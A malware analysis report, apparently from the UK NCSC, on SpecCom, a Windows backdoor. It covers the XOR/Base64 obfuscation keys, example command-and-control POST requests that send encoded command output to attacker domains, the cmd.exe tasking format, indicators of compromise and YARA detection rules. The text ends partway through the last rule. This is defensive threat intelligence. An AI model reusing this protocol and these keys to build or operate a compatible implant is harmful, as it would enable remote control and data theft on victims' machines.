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# SpecCom

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## Windows malware with HTTP command and control

### Executive summary

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- SpecCom is a malicious 32-bit Windows executable
- Command and control (C2) is over HTTP with tasking within HTML comment tags
- Tasking is Base64-encoded with multiple layers of XOR obfuscation
- Capability includes uploading of data and execution of Windows commands

### Introduction

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SpecCom is a malicious 32-bit Windows executable that uses HTTP for communication. Communication has only basic XOR obfuscation along with Base64-encoding. This report analyses a specific SpecCom sample that has limited functionality but enables the deployment of additional capability if required.

The extracted configurations for a number of other samples are provided in Appendix I of this report.

## Malware details

### Metadata

<b>Filename</b>	Investigating China's Crimes against Humanity.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86
<b>Size</b>	71168 bytes
<b>MD5</b>	3ecfc67294923acdf6bd018a73f6c590
<b>SHA-1</b>	3557d162828baab78f2a7af36651a3f46d16c1cb
<b>SHA-256</b>	489fca69a622195328302e64e29b6183feac90826dce198432d603202ca4d216
<b>Compile time</b>	2020-04-12 20:57:49

### MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic	ID	Technique	Procedure
Execution	<u>T1059.003</u>	Command and Scripting Interpreter: Windows Command Shell	SpecCom tasking allows the execution of Windows command-prompt commands.
Defense Evasion	<u>T1027</u>	Obfuscated Files or Information	SpecCom configuration strings are XOR obfuscated.
Command and Control	<u>T1071.001</u>	Application Layer Protocol: Web Protocols	SpecCom command and control is over HTTP.
	<u>T1132.001</u>	Data Encoding: Standard Encoding	SpecCom tasking is encoded using Base64.
	<u>T1001</u>	Data Obfuscation	SpecCom tasking is XOR obfuscated.

## Functionality

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### Overview

SpecCom is a malicious 32-bit Windows executable with command and control over HTTP. Tasking is Base64-encoded with multiple layers of XOR obfuscation, and contained in HTML comment tags. This particular sample only has basic capability to upload files and execute Windows command-prompt commands as new processes.

### Persistence

The version of SpecCom detailed in this report does not have any persistence functionality.

### Defence evasion

SpecCom uses several techniques to prevent detection by obfuscating configuration strings and attempting to disguise suspicious API calls. This likely includes sample-specific obfuscation to prevent signaturing, however there remains a number of options for detection.

#### Dynamically built strings

Strings used as part of malware functionality are dynamically built on the stack to prevent their appearance in a strings list.

#### XOR obfuscation

Configuration strings, including the C2 domain, network traffic XOR key and URL paths are XOR obfuscated.

To deobfuscate a configuration string, it is first converted to UTF-16 (if not already), then the first  $0xA8$  bytes are XORed with the following hard-coded 'malware key' to generate a string-specific XOR key. Finally, the rest of the string is Base64-decoded and XORed with this string-specific key to yield the deobfuscated string.

MALWARE KEY
32 E2 5C 48 EC 0E C3 7F 5F 7A ED 11 CB E5 0A 87 0F FA 7D FC F9 A7 39 38 3D E3 6B 6F BF 9B 84 1F E7 BC D1 0E 0A 62 79 7E CE 6F 7F E6 B7 F9 9D D9 8C 67 9F 7A 86 EB 7B D7 31 66

For example, the following obfuscated UTF-16 string can be broken down as follows:

<code>NQXB2r+eic0IYauXibRAvh7L1XBHacQ8VfwhRsKPSFo2a19P0h1RVgtoBNWjxaWs1mg+0S1SLRba3/9y10TU FeJjSNI07n8JevARg+Uch0j6dfzRpxk4CuNsb6WbvX/hvN40dmJbftdveuY=</code>
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The **first bytes** ( $0xA8$  bytes,  $0x54$  characters) are selected from the Base64 alphabet, presumably an attempt to confuse analysis. However, they are not Base64-decoded, but instead are XORed with the malware key to produce a string-specific XOR key.

Next, the **remaining data** is Base64-decoded and XORed using the string-specific XOR key produced during the previous step.

Once deobfuscated, this gives the C2 domain: `infodocs.kginfocom[.]com`

When SpecCom obfuscates strings, for example to produce encoded tasking output data (as described in the ‘[Communications \(Command and Control – Tasking output\)](#)’ section of this report), the **first bytes** are randomly generated. It is therefore assumed that the **first bytes** in hard-coded strings, or those received from the C2 server, are also randomly generated. This suggests that the same configuration string within another sample would not have the same obfuscated form.

Other samples of SpecCom have used different malware keys, for example the malware key below consists of Windows API names:

MALWARE KEY		
00000000	47 00 65 00 74 00 4d 00 65 00 73 00 73 00 61 00	G.e.t.M.e.s.s.a.
00000010	67 00 65 00 50 00 6f 00 73 00 20 00 53 00 65 00	g.e.P.o.s. .S.e.
00000020	6e 00 64 00 4d 00 65 00 73 00 73 00 61 00 67 00	n.d.M.e.s.s.a.g.
00000030	65 00 20 00 47 00 65 00 74 00 45 00 78 00 69 00	e. .G.e.t.E.x.i.
00000040	74 00 43 00 6f 00 64 00 65 00 50 00 72 00 6f 00	t.C.o.d.e.P.r.o.
00000050	63 00 65 00 73 00 20 00 43 00 72 00 65 00 61 00	c.e.s. .C.r.e.a.
00000060	74 00 65 00 50 00 72 00 6f 00 63 00 65 00 73 00	t.e.P.r.o.c.e.s.
00000070	73 00 20 00 47 00 65 00 74 00 54 00 69 00 63 00	s. .G.e.t.T.i.c.
00000080	6b 00 43 00 6f 00 75 00 6e 00 74 00 20 00 47 00	k.C.o.u.n.t. .G.
00000090	65 00 74 00 44 00 43 00 45 00 78 00 20 00 43 00	e.t.D.C.E.x. .C.
000000a0	6f 00 70 00 79 00 49 00 6d 00 61 00 67 00 65 00	o.p.y.I.m.a.g.e.
000000b0	20 00 44 00 72 00 61 00 77 00 54 00 65 00 78 00	.D.r.a.w.T.e.x.
000000c0	74 00 20 00 43 00 6c 00 6f 00 73 00 65 00 48 00	t. .C.l.o.s.e.H.
000000d0	61 00 6e 00 64 00 6c 00 65 00 20 00 53 00 65 00	a.n.d.l.e. .S.e.
000000e0	6e 00 64 00 4d 00 65 00 73 00 73 00 61 00 67 00	n.d.M.e.s.s.a.g.
000000f0	65 00 54 00 69 00 6d 00 65 00 6f 00 75 00 74 00	e.T.i.m.e.o.u.t.
00000100	00 00	..

Additionally, some samples only use the first 0x20 bytes from obfuscated strings for the initial XOR to give the string-specific XOR key.

### Indirect invocation

Another defence evasion technique is that the main functionality of the malware is not invoked directly. Instead, it is launched as a new thread from a window procedure for a window created with the name `Help and Support`. In addition, presumably to avoid heuristic detection, other legitimate but unnecessary GUI-related APIs are called following the creation of this window that either fail or have no effect.

## Communications

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### Command and control

The malware communicates over HTTP POSTs using the standard Windows `wininet` API to `infodocs.kginfocom[.]com`. Tasking requests are sent to a hard-coded URL path, `/gin/kw.asp`, and the responses to these requests contain HTML comment tags consisting of encoded and obfuscated tasking. Any output from tasking commands is then sent to a different hard-coded URL path, `/gin/tab.asp`. The content type and user-agent are hard-coded for both tasking requests and tasking output messages.

A hard-coded 'traffic key' is used as an additional layer of obfuscation for C2 communications, as well as the 'malware key' as described in the ['Functionality \(Defence evasion – XOR obfuscation\)'](#) section of this report.

SpecCom sends tasking requests periodically, with the delay between requests depending on when tasking was last received:

Time since last tasking received	Delay between tasking requests
Less than 60 seconds	9033 milliseconds
Between 60 seconds and 60 minutes	26022 milliseconds
Greater than 60 minutes	60011 milliseconds

The reduced delay between tasking requests when tasking has recently been received is likely intended to support interactive command and control, while reducing the malware's network footprint when no tasking is available.

### Tasking requests

SpecCom requests tasking from the C2 server using tasking request messages. An example tasking request is as follows:

```
POST /gin/kw.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Host: infodocs[.]kginfocom[.]com
Content-Length: [CONTENT_LENGTH]
Cache-Control: no-cache

d=54321&k=[ENCODED_MAC_ADDRESS]&w=0
```

The POST arguments `d=54321&k=` and `&w=0` are hard-coded, while `[ENCODED_MAC_ADDRESS]` is an encoded MAC address in the form `AA-BB-CC-DD-EE-FF` e.g. `00-0C-29-A3-E6-86`.

The MAC address is encoded using the following steps:

1. Convert to UTF-16 encoding

00000000	30 00 30 00 2d 00 30 00 43 00 2d 00 32 00 39 00	0.0.-.0.C.-.2.9.
00000010	2d 00 41 00 33 00 2d 00 45 00 36 00 2d 00 38 00	-.A.3.-.E.6.-.8.
00000020	36 00	6.

2. XOR with traffic key, UTF-16 encoded, for this sample: htwoDGE

00000000	58 00 44 00 5a 00 5f 00 07 00 6a 00 77 00 51 00	X.D.Z._...j.w.Q.
00000010	59 00 36 00 5c 00 69 00 02 00 73 00 45 00 4c 00	Y.6.\.i...s.E.L.
00000020	41 00	A.

3. XOR with malware key

00000000	6a e2 18 48 b6 0e 9c 7f 58 7a 87 11 bc e5 5b 87	jâ.H¶...Xz..%â[.]
00000010	56 fa 4b fc a5 a7 50 38 3f e3 18 6f fa 9b c8 1f	VúKü¥\$P8?ä.óú.É.
00000020	a6 bc	!¼

4. Base64-encode

auIYSLY0nH9YeocRv0Vbh1b6S/y1p1A4P+MYb/qbyB+mvA==
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5. URL-encode

auIYSLY0nH9YeocRv0Vbh1b6S/y1p1A4P%2BMYb/qbyB%2BmvA==
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## Tasking responses

SpecCom expects the server response to tasking requests to include tasking data inside HTML comments of the form: `<!--|# [ENCODED_TASKING_DATA]#|-->`

Tasking data is Base64-encoded and XOR obfuscated in a similar manner to obfuscated configuration strings, as described in the 'Functionality (Defence evasion – XOR obfuscation)' section of this report. However, the string-specific XOR key is derived by XORing the first 0xA8 bytes with both the malware key and the traffic key, rather than just the malware key.

An example of this encoding is shown below for the command: `dir C:\`

```
<!--|#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAf+IASKgOzX8ZetERk+U=#|-->
```

SpecCom does not require tasking responses to be correctly formatted HTTP, providing they contain a HTML comment, however it is likely that they will be correctly formatted.

For example, in the sandbox results for this sample in VirusTotal, the following response was observed:

```
HTTP/1.1 200 OK  
Cache-Control: private  
Content-Type: text/html  
Server: Microsoft-IIS/8.5  
Set-Cookie: ASPSESSIONIDAQACDAQT=ABKPPNBD AIIDNLOIMMNHFL0P; path=/  
Date: Wed, 26 May 2021 12:23:44 GMT  
Content-Length: 107  
  
<Html><head><meta http-equiv="refresh" content="60;url=about:blank" /></head><body><!--  
%F%--></body></Html>
```

Note that in this example %F% is not correctly encoded tasking data. In particular, the expected |# and #| markers are both missing.



## Tasking

The malware supports both the execution of arbitrary commands, using the Windows command-prompt, and data upload.

By default, tasking will be interpreted as a Windows command-prompt command, and executed as a new process as follows (with `%temp%` expanded):

```
C:\Windows\system32\cmd.exe /A /C "[COMMAND_DATA]" >
%temp%\cscode[CURRENT_THREAD_ID].log
```

Here `[CURRENT_THREAD_ID]` is the decimal form of the current thread ID e.g. 4944 to give `cscode4944.log`.

Alternatively, this particular sample of SpecCom supports a single in-built command to upload data which is Base64-encoded in the following form: `x-<#U#>[UPLOAD_DATA]<#E#>`

When this tasking is received, it is not executed, and the upload data is instead written to `%temp%\tmp[CURRENT_THREAD_ID].log`

## Tasking output

The output from tasking commands is sent to the C2 server in tasking output messages. An example tasking output message is as follows:

```
POST /gin/tab.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Host: infodocs[.]kginfocom[.]com
Content-Length: [CONTENT_LENGTH]
Cache-Control: no-cache

h=95425&u=[ENCODED_MAC_ADDRESS]&r=0&b=[ENCODED_OUTPUT_DATA]
```

The POST arguments `h=95425&u=` and `&r=0&b=` are hard-coded, while:

- `[ENCODED_MAC_ADDRESS]` is the same as described in the 'Communications (Command and control – Tasking requests)' section of this report.
- `[ENCODED_OUTPUT_DATA]` is encoded and obfuscated the same as tasking data, described in the 'Communications (Command and control – Tasking responses)' section of this report.

Output data is a repeat of the `command` followed by the `output` of the Windows command-prompt command starting on a new line.

For example:

```
dir C:\
Volume in drive C has no label.
Volume Serial Number is 08E3-F62E

Directory of C:\

10/07/2015  12:04    <DIR>          PerfLogs
03/02/2020  11:00    <DIR>          Program Files
10/07/2015  12:04    <DIR>          Program Files (x86)
03/02/2020  10:59    <DIR>          Users
03/02/2020  11:00    <DIR>          Windows
               0 File(s)      0 bytes
               5 Dir(s)  96,759,857,152 bytes free
```

In the case of the upload data command, the response data takes the following form (with `%temp%` expanded):

```
[Upload]
File:%temp%\tmp[CURRENT_THREAD_ID].log
```

If command arguments are incorrect the following may be returned instead:

```
[Success]
[Failed!]
```

## Conclusion

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SpecCom is a malicious Windows executable with limited functionality, but is sufficient to allow deployment of further capability. The sample of SpecCom analysed here does not install its own persistence, either because it is not a requirement or because separate capability is used to do so. HTTP is used for command and control, rather than HTTPS, and although obfuscation is used, it is trivial to deobfuscate given the usage of hard-coded keys. Finally, SpecCom is easily signatred in network traffic due to its use of hard-coded URL paths and arguments. Considering this, the NCSC assesses SpecCom to be relatively low-sophistication malware.

## Detection

### Indicators of compromise

Type	Description	Values
Domain	SpecCom C2 domain	tel-com.sequoiame[.]com
Domain	SpecCom C2 domain	evisa.uz.webfaction[.]info
Domain	SpecCom C2 domain	update.ictdp[.]com
Domain	SpecCom C2 domain	mofa.ungov[.]org
Domain	SpecCom C2 domain	help.2019mfa[.]com
Domain	SpecCom C2 domain	infodocs.kginfocom[.]com
Domain	SpecCom C2 domain	hwyigd.laccessal[.]org
Domain	SpecCom C2 domain	uslugi.mahallafond[.]com
Domain	SpecCom C2 domain	upload.vocalspektor[.]com
Domain	SpecCom C2 domain	ousync.kginfocom[.]com
Domain	SpecCom C2 domain	6z98os.id597[.]link
Domain	SpecCom C2 domain	dcc.ungov[.]org
Domain	SpecCom C2 domain	mail1.ictdp[.]com
Domain	SpecCom C2 domain	update.mudofaa[.]com
IPv4	SpecCom C2 infrastructure	81.95.7.20
URL	SpecCom URL path	/tel/img.asp
URL	SpecCom URL path	/tel/word.asp
URL	SpecCom URL path	/7kcowm/img.asp
URL	SpecCom URL path	/7kcowm/word.asp
URL	SpecCom URL path	/new/js.asp
URL	SpecCom URL path	/new/art.asp
URL	SpecCom URL path	/momo/js.asp
URL	SpecCom URL path	/momo/art.asp
URL	SpecCom URL path	/0kcowm/img.asp
URL	SpecCom URL path	/0kcowm/word.asp
URL	SpecCom URL path	/help/js.asp
URL	SpecCom URL path	/help/art.asp
URL	SpecCom URL path	/gin/tab.asp
URL	SpecCom URL path	/gin/kw.asp
URL	SpecCom URL path	/news/js.asp
URL	SpecCom URL path	/news/art.asp
URL	SpecCom URL path	/hall/tab.asp
URL	SpecCom URL path	/hall/kw.asp
URL	SpecCom URL path	/images/js.asp
URL	SpecCom URL path	/images/art.asp
URL	SpecCom URL path	/sync/tab.asp

Type	Description	Values
URL	SpecCom URL path	/sync/kw.asp
URL	SpecCom URL path	/css/js.asp
URL	SpecCom URL path	/css/art.asp
URL	SpecCom URL path	/crss/js.asp
URL	SpecCom URL path	/crss/art.asp
URL	SpecCom URL path	/mail/js.asp
URL	SpecCom URL path	/mail/art.asp
URL	SpecCom URL path	/jquery/js.asp
URL	SpecCom URL path	/jquery/art.asp

## Rules and signatures

<b>Description</b>	Detects SpecCom window name built on the stack
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA

```
rule SpecCom_help_support_window_name_stack_string {
  meta:
    author = "NCSC"
    description = "Detects SpecCom window name built on the stack"

  strings:
    $ = {6A 48 58 6A 65 66 89 45 D8 58 6A 6C 66 89 45 DA 58 6A 70 66
89 45 DC 58 6A 20 66 89 45 DE 58 6A 61 66 89 45 E0 58 6A 6E 66 89 45 E2
58 6A 64 66 89 45 E4 58 6A 20 66 89 45 E6 58 6A 53 66 89 45 E8 58 6A 75
66 89 45 EA 58 6A 70 8B 5D 08 66 89 45 EC 58 6A 6F 66 89 45 EE 66 89 45
F0 58 6A 72 66 89 45 F2 58 66 89 45 F4 6A 74 58 66 89 45 F6 33 C0 66 89
45 F8 8D 45 D8 50 68 E0 29 41 00}
    $ = {C7 45 D8 48 00 65 00 C7 45 DC 6C 00 70 00 C7 45 E0 20 00 61
00 C7 45 E4 6E 00 64 00 C7 45 E8 20 00 53 00 C7 45 EC 75 00 70 00 C7 45
F0 70 00 6F 00 C7 45 F4 72 00 74 00}

  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

<b>Description</b>	Detects SpecCom content type string built on the stack
<b>Precision</b>	The majority of samples detected during VT retrohunt queries were SpecCom A few other samples identified appear to have reused this code
<b>Rule type</b>	YARA

```
rule SpecCom_content_type_stack_string {
  meta:
    author = "NCSC"
    description = "Detects SpecCom content type string built on the
stack"

  strings:
    $ = {6A 43 89 45 FC 89 85 34 FD FF FF 58 6A 6F 5E 6A 6E 5A 6A 74
66 89 45 8C 8B C6 66 89 45 8E 8B C2 66 89 45 90 58 6A 65 59 6A 74 66 89
45 92 8B C1 66 89 45 94 8B C2 66 89 45 96 58 6A 2D 66 89 45 98 58 6A 54
8B F8 66 89 7D 9A 5F 6A 79 66 89 7D 9C 5F 6A 70 66 89 7D 9E 5F 6A 3A 66
89 7D A0 8B F9 66 89 7D A2 5F 6A 20 66 89 7D A4 5F 6A 61 66 89 7D A6 5F
6A 70 66 89 7D A8 5F 6A 6C 66 89 7D AA 66 89 7D AC 5F 6A 69 66 89 7D AE
5F 6A 63 66 89 7D B0 5F 6A 61 66 89 7D B2 5F 66 89 7D B4 6A 74 5F 66 89
7D B6 6A 69 5F 66 89 7D B8 8B FE 66 89 7D BA 8B FA 6A 2F 66 89 7D BC 5F
6A 78 66 89 7D BE 5F 6A 77 66 89 7D C0 8B F8 66 89 7D C2 5F 6A 66 66 89
7D C4 66 89 7D C6 66 89 7D C8 8B F8 66 89 7D CA 5F 6A 72 66 89 7D CC 8B
FE 66 89 45 D4 66 89 7D CE 5F 6A 6D 66 89 7D D0 5F 6A 75 58 6A 72 66 89
45 D6 58 6A 6C 66 89 45 D8 58 66 89 45 DA 6A 63 8B C1 66 89 45 DC 58 6A
64 66 89 45 E0 58 66 89 45 E4 66 89 45 E8 6A 0D 58 66 89 45 EA 6A 0A 58
66 89 45 EC}
    $ = {C7 45 8C 43 00 6F 00 C7 45 90 6E 00 74 00 C7 45 94 65 00 6E
00 C7 45 98 74 00 2D 00 C7 45 9C 54 00 79 00 C7 45 A0 70 00 65 00 C7 45
A4 3A 00 20 00 C7 45 A8 61 00 70 00 C7 45 AC 70 00 6C 00 C7 45 B0 69 00
63 00 C7 45 B4 61 00 74 00 C7 45 B8 69 00 6F 00 C7 45 BC 6E 00 2F 00 C7
45 C0 78 00 2D 00 C7 45 C4 77 00 77 00 C7 45 C8 77 00 2D 00 C7 45 CC 66
00 6F 00 C7 45 D0 72 00 6D 00 C7 45 D4 2D 00 75 00 C7 45 D8 72 00 6C 00
C7 45 DC 65 00 6E 00 C7 45 E0 63 00 6F 00 C7 45 E4 64 00 65 00 C7 45 E8
64 00 0D 00 C7 45 EC 0A 00 00 00}
  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

<b>Description</b>	Detects SpecCom obtaining MAC address
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA

```

rule SpecCom_get_mac_address {
  meta:
    author = "NCSC"
    description = "Detects SpecCom obtaining MAC address"

  strings:
    $ = {8D 8D F0 80 FF FF 51 8D 8D FC 80 FF FF 51 C7 85 F0 80 FF FF
90 7E 00 00 FF D0 8B C8 33 C0 C6 45 F4 00 8D 7D F5 AB 66 AB AA 85 C9 0F
85 1D 01 00 00 53 6A 25 5E 6A 30 5A 6A 32 59 8B C6 66 89 45 8C 8B C2 66
89 45 8E 6A 58 8B C1 66 89 45 90}
    $ = {8D 8D 00 81 FF FF 51 8D 95 04 81 FF FF 52 C7 85 00 81 FF FF
90 7E 00 00 FF D0 85 C0 0F 85 C7 00 00 00 8B 85 9C 82 FF FF 8B C8 C1 E9
08 0F B6 D1 52 0F B6 C0 50 8B 85 98 82 FF FF 8B C8 C1 E9 18 51 8B D0 C1
EA 10 0F B6 CA 51 8B D0 C1 EA 08 0F B6 CA 0F B6 D0 51 52 8D 45 94}
  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}

```

<b>Description</b>	Detects SpecCom tasking request URL path built on the stack
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA

```

rule SpecCom_stack_string_d_54321_k {
  meta:
    author = "NCSC"
    description = "Detects SpecCom tasking request URL path built on
the stack"

  strings:
    $ = {6A 64 59 6A 3D 66 89 4D C8 59 6A 35 8B D1 66 89 55 CA 5A 6A
34 66 89 55 CC 5A 6A 33 66 89 55 CE 5A 6A 32 66 89 55 D0 5A 6A 31 66 89
55 D2 5A 6A 26 66 89 55 D4 5A 6A 6B 66 89 55 D6 5A 66 89 55 D8 8B D1 66
89 55 DA 6A 26 33 D2 66 89 55 DC}
    $ = {C7 45 C8 64 00 3D 00 C7 45 CC 35 00 34 00 C7 45 D0 33 00 32
00 C7 45 D4 31 00 26 00 C7 45 D8 6B 00 3D 00 C7 45 E8 26 00 77 00}
  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}

```

<b>Description</b>	Detects SpecCom tasking response URL path built on the stack
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA
<pre>rule SpecCom_stack_string_h_95425_u {   meta:     author = "NCSC"     description = "Detects SpecCom tasking response URL path built on the stack"    strings:     \$ = {6A 68 59 6A 3D 66 89 4D C8 59 6A 39 8B D1 66 89 55 CA 5A 6A 35 66 89 55 CC 5A 6A 34 66 89 55 CE 5A 6A 32 66 89 55 D0 5A 6A 35 66 89 55 D2 5A 6A 26 66 89 55 D4 5A 6A 75 66 89 55 D6 5A 66 89 55 D8 6A 26}     \$ = {C7 45 C8 68 00 3D 00 C7 45 CC 39 00 35 00 C7 45 D0 34 00 32 00 C7 45 D4 35 00 26 00 C7 45 D8 75 00 3D 00 66 89 55 DC C7 45 E8 26 00 72 00 C7 45 E0 26 00 62 00 C7 45 E4 3D 00 00 00}   condition:     (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }</pre>	

<b>Description</b>	Detects SpecCom sleep duration calculation code
<b>Precision</b>	The majority of samples detected during VT retrohunt queries were SpecCom A few other samples identified appear to have reused this code
<b>Rule type</b>	YARA
<pre>rule SpecCom_sleep_calculation {   meta:     author = "NCSC"     description = "Detects SpecCom sleep duration calculation code"    strings:     \$ = {FF D? 2B 05 ?? ?? ?? ?? 3D 60 EA 00 00 73 07 B8 ?? ?? ?? ?? EB 28 FF D? 2B 05 ?? ?? ?? ?? 3D 60 EA 00 00 72 14 FF D? 2B 05 ?? ?? ?? ?? 3D 80 EE 36 00 B8 ?? ?? ?? ?? 72 05 B8 ?? ?? ?? ?? 50}   condition:     (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }</pre>	



<b>Description</b>	Detects SpecCom HTML comment tasking format built on the stack
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA
<pre>rule SpecCom_stack_string_html_comment {   meta:     author = "NCSC"     description = "Detects SpecCom HTML comment tasking format built on the stack"    strings:     \$ = {6A 3C 58 C6 45 FC 01 6A 21 66 89 45 D4 58 6A 2D 66 89 45 D6 58 6A 7C 8B C8 66 89 4D D8 66 89 4D DA 59 6A 23 66 89 4D DC 59 66 89 4D DE 33 C9 6A 23 66 89 4D E0 59 6A 7C 66 89 4D E4 59 66 89 45 EA 66 89 4D E6 8B C8 6A 3E 58 66 89 45 EC}     \$ = {C7 45 B8 3C 00 21 00 C7 45 BC 2D 00 2D 00 C7 45 C0 7C 00 23 00 C7 45 E4 23 00 7C 00 C7 45 E8 2D 00 2D 00 C7 45 EC 3E 00 00 00}   condition:     (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }</pre>	

<b>Description</b>	Detects SpecCom success message built on the stack
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA
<pre>rule SpecCom_stack_string_success {   meta:     author = "NCSC"     description = "Detects SpecCom success message built on the stack"    strings:     \$ = {6A 5B 59 6A 53 66 89 4D 94 59 6A 75 66 89 4D 96 59 6A 63 66 89 4D 98 59 6A 65 66 89 4D 9A 66 89 4D 9C 59 6A 73 5E 6A 5D 66 89 4D 9E}     \$ = {C7 45 94 5B 00 53 00 C7 45 98 75 00 63 00 C7 45 9C 63 00 65 00 C7 45 A0 73 00 73 00 C7 45 A4 5D 00 0D 00 C7 45 A8 0A 00 00 00}   condition:     (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them }</pre>	

<b>Description</b>	Detects SpecCom failed message built on the stack
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA

```

rule SpecCom_stack_string_failed {
  meta:
    author = "NCSC"
    description = "Detects SpecCom failed message built on the stack"

  strings:
    $ = {33 C9 66 89 4D AA 59 6A 46 66 89 8D 7C FF FF FF 59 6A 61 66
89 8D 7E FF FF FF 59 6A 69 66 89 4D 80 59 6A 6C 66 89 4D 82 59 6A 65 66
89 4D 84 59 6A 64 66 89 4D 86 59 6A 21 66 89 4D 88 59 6A 5D 66 89 4D 8A}
    $ = {C7 85 7C FF FF FF 5B 00 46 00 C7 45 80 61 00 69 00 C7 45 84
6C 00 65 00 C7 45 88 64 00 21 00 C7 45 8C 5D 00 0D 00 C7 45 90 0A 00 00
00}

  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}

```

<b>Description</b>	Detects SpecCom upload command tag and end marker built on stack
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA

```

rule SpecCom_stack_string_cmd_U_E {
  meta:
    author = "NCSC"
    description = "Detects SpecCom upload command tag and end marker
built on stack"

  strings:
    $ = {6A 78 66 89 4D 92 59 66 89 4D E0 6A 2D 59 6A 3C 66 89 4D E2
59 6A 23 66 89 4D E4 59 6A 55 8B D1 66 89 55 E6 5A 66 89 55 E8 6A 3E 8B
D1 66 89 55 EA 5A 66 89 55 EC 33 D2 6A 3C 66 89 55 EE 5A 66 89 55 CC 8B
D1 6A 45 66 89 55 CE 5A 66 89 4D D2 6A 3E 59 66 89 4D D4}
    $ = {C7 45 E0 78 00 2D 00 C7 45 E4 3C 00 23 00 C7 45 E8 55 00 23
00 C7 45 EC 3E 00 00 00 C7 45 CC 3C 00 23 00 C7 45 D0 45 00 23 00 C7 45
D4 3E 00 00 00}

  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}

```

<b>Description</b>	Detects SpecCom hard-coded key used in word-length XOR algorithm
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA

```
rule SpecCom_stack_string_hardcoded_xor_key_32E25C48 {
  meta:
    author = "NCSC"
    description = "Detects SpecCom hard-coded key used in word-length XOR algorithm"

  strings:
    $ = {C7 45 B4 32 E2 5C 48 C7 45 B8 EC 0E C3 7F C7 45 BC 5F 7A ED
11 C7 45 C0 CB E5 0A 87 C7 45 C4 0F FA 7D FC C7 45 C8 F9 A7 39 38 C7 45
CC 3D E3 6B 6F C7 45 D0 BF 9B 84 1F C7 45 D4 E7 BC D1 0E C7 45 D8 0A 62
79 7E C7 45 DC CE 6F 7F E6 C7 45 E0 B7 F9 9D D9 C7 45 E4 8C 67 9F 7A C7
45 E8 86 EB 7B D7 C7 45 EC 31 66 00 00}

  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

<b>Description</b>	Detects SpecCom upload temporary file format built on stack
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA

```

rule SpecCom_stack_string_upload_tmp_logFile {
  meta:
    author = "NCSC"
    description = "Detects SpecCom upload temporary file format built on stack"

  strings:
    $ = {6A 5B 58 6A 55 66 89 45 ?? 58 6A 70 66 89 45 ?? 58 6A 6C 66 89 45 ?? 58 6A 6F 66 89 45 ?? 58 6A 61 66 89 45 ?? 58 6A 64 66 89 45 ?? 58 6A 5D 66 89 45 ?? 58 6A 0D 66 89 45 ?? 58 6A 0A 66 89 45 ?? 58 6A 25 66 89 45 }
    $ = {6A 25 66 89 45 D6 33 C0 66 89 45 D8 58 6A 74 66 89 45 AC 8B C6 66 89 45 AE 58 6A 6D 66 89 45 B0 58 6A 70 66 89 45 B2 58 6A 25 66 89 45 B4 58 6A 64 66 89 45 B6 58 6A 2E 66 89 45 B8 58 6A 6C 66 89 45 BA 58 6A 6F 66 89 45 BC 58 6A 67 66 89 45 BE 58 6A 46 66 89 45 C0 33 C0 66 89 45 C2 58 6A 69 66 89 45 DC 58 6A 6C 66 89 45 DE 58 6A 65 66 89 45 E0 58 6A 3A 66 89 45 E2 58 66 89 45 E4 6A 25 58 66 89 45 E6 6A 0D 58 66 89 45 EA 6A 0A 58 66 89 45 EC 33 C0 66 89 45 EE}
    $ = {C7 45 C4 5B 00 55 00 C7 45 C8 70 00 6C 00 C7 45 CC 6F 00 61 00 C7 45 D0 64 00 5D 00 C7 45 D4 0D 00 0A 00 C7 45 AC 25 00 73 00 C7 45 B0 74 00 6D 00 C7 45 B4 70 00 25 00 C7 45 B8 64 00 2E 00 C7 45 BC 6C 00 6F 00 C7 45 C0 67 00 00 00 C7 45 DC 46 00 69 00 C7 45 E0 6C 00 65 00 C7 45 E4 3A 00 25 00 C7 45 E8 73 00 0D 00 C7 45 EC 0A 00 00 00}
  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
}

```

<b>Description</b>	Detects SpecCom word-length XOR algorithm
<b>Precision</b>	The majority of samples detected during VT retrohunt queries were SpecCom A few other samples identified appear to have reused this code
<b>Rule type</b>	YARA

```

rule SpecCom_deobfuscation_function_word_xor {
  meta:
    author = "NCSC"
    description = "Detects SpecCom word-length XOR algorithm"

  strings:
